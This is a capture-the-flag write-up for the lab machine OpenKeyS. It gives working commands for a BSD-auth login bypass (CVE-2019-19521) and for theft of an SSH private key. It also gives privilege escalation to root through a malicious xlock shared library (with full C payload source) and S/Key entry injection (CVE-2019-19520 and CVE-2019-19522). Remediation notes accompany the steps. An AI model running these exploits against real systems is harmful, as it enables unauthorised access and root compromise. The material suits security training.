OpenKeyS
Summary
Target openkeys.htb ($TARGET) was fully compromised through a three-stage chain. A web application running on OpenBSD httpd had directory auto-indexing enabled on its /includes/ folder, exposing a leftover Vim swap file that leaked PHP source code, the valid username jennifer, and the application's BSD-auth login logic. Armed with that knowledge, I exploited CVE-2019-19521 — an OpenBSD BSD-auth option-injection flaw — to bypass the login form's password check entirely by submitting a crafted username flag value.
That authenticated session was then paired with a forged username cookie to pull jennifer's private SSH key from the application's sshkey.php endpoint, granting a direct SSH shell and the user flag. The host was running unpatched OpenBSD 6.6 (October 2019 build), leaving it vulnerable to the Qualys December-2019 dynamic-authentication advisory: CVE-2019-19520 abused the setgid-auth xlock binary to load my own shared library and execute code as the auth group, and CVE-2019-19522 allowed any auth-group member to inject a forged S/Key one-time-password entry for root and authenticate as root via su — yielding full system compromise and the root flag.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export HASH="<the-hash-you-recovered>"Attack path — how the box was taken
Exact commands 3
Service fingerprint and HTTP banner grab.
$ nmap -Pn -sV -p 22,80 --script http-title,http-headers $TARGETAdd the vhost from the redirect to local resolution — the auth bypass later fails against the raw IP.
$ echo "$TARGET openkeys.htb" | sudo tee -a /etc/hostsEnumerate web paths; discovers /includes/ listing and index.php.
$ ffuf -u http://openkeys.htb/FUZZ -w /usr/share/wordlists/dirb/common.txt -e .php,.swp,.bak -mc 200,301,302,403Exact commands 3
Confirm directory listing is enabled and auth.php.swp is visible.
$ curl -s http://openkeys.htb/includes/Download the Vim swap file.
$ curl -o /tmp/auth.php.swp http://openkeys.htb/includes/auth.php.swpExtract readable text; reveals PHP source, username jennifer, vhost openkeys.htb, and BSD-auth flow.
$ strings -a /tmp/auth.php.swpFixDisable directory auto-indexing and audit the web root for backup and editor filesHigh
Exact commands 1
Trigger the auth bypass; a 302 to sshkey.php in the Location header confirms success. Save cookies for subsequent requests.
$ curl -v -c /tmp/openkeys_cookies.txt -b /tmp/openkeys_cookies.txt -A 'Mozilla/5.0' -X POST http://openkeys.htb/index.php --data-urlencode 'username=-schallenge' --data-urlencode 'password=x'FixPatch CVE-2019-19521 — reject usernames beginning with a hyphen before passing them to BSD-authCritical
Exact commands 2
Replay the auth bypass with the forged jennifer cookie, then retrieve her private key from sshkey.php.
$ curl -s -c /tmp/openkeys_cookies.txt -b 'username=jennifer' -A 'Mozilla/5.0' -X POST http://openkeys.htb/index.php --data-urlencode 'username=-schallenge' --data-urlencode 'password=x' && curl -s -b /tmp/openkeys_cookies.txt http://openkeys.htb/sshkey.php > /tmp/openkeys_sshkey_response.txtExtract the private key block and set permissions required by SSH.
$ sed -n '/BEGIN OPENSSH/,/END OPENSSH/p' /tmp/openkeys_sshkey_response.txt > /tmp/jennifer_id_rsa && chmod 600 /tmp/jennifer_id_rsaFixRemove the SSH private-key delivery endpoint and fix the broken session-identity checkCritical
Exact commands 3
Authenticate using jennifer's stolen private key.
$ ssh -i /tmp/jennifer_id_rsa -o StrictHostKeyChecking=no jennifer@$TARGETConfirm identity, OS version (must be 6.6 pre-patch for the privesc), and capture user flag (value: <user.txt>).
$ id && uname -a && cat ~/user.txt
uid=1001(jennifer) groups=1001(jennifer),0(wheel)Verify the unpatched setgid-auth xlock and setuid-root chpass are present and dated Oct 2019.
$ ls -la /usr/X11R6/bin/xlock /usr/bin/chpassExact commands 4
Write the shared-library payload that creates a setgid-auth copy of /bin/sh when the constructor fires.
$ mkdir -p /tmp/expl && cat > /tmp/expl/swrast.c << 'EOF'
#include <paths.h>
#include <sys/types.h>
#include <unistd.h>
static void init() __attribute__((constructor));
static void init() {
if (geteuid() == getuid()) return;
char *argv[] = {"sh", "-c",
"cp /bin/sh /tmp/sh2 && chgrp auth /tmp/sh2 && chmod g+s /tmp/sh2",
NULL};
execve(_PATH_BSHELL, argv, NULL);
}
EOFCompile the malicious Mesa driver on the target (gcc is available on OpenBSD 6.6).
$ gcc -fpic -shared -nostdlib /tmp/expl/swrast.c -o /tmp/expl/swrast_dri.soTrigger xlock to load the malicious library; constructor fires with auth group privileges.
$ env -i LIBGL_DRIVERS_PATH=/tmp/expl /usr/X11R6/bin/xlockSpawn a shell retaining the auth group EGID; confirm egid=11(auth).
$ /tmp/sh2 -p && idFixApply OpenBSD patches for CVE-2019-19520 and CVE-2019-19522 and harden setgid binariesCritical
Exact commands 4
Confirm auth group write access to the S/Key database (directory is owned root:auth, mode 0750).
$ ls -la /etc/skey/Inject a pre-computed S/Key MD5 OTP entry for root at sequence 99 with seed openkeys (from Qualys advisory PoC).
$ printf "otp-md5 99 openkeys\n$HASH\n" > /etc/skey/rootAuthenticate as root using the passphrase matching the injected OTP; su accepts it via the S/Key auth style.
$ echo "$PASSWORD" | su -l rootConfirm uid=0(root) and capture the root flag (value: <root.txt>).
$ id && cat /root/root.txt
uid=0(root)Attack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.1 (protocol 2.0) |
| 80/tcp | http OpenBSD httpd |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.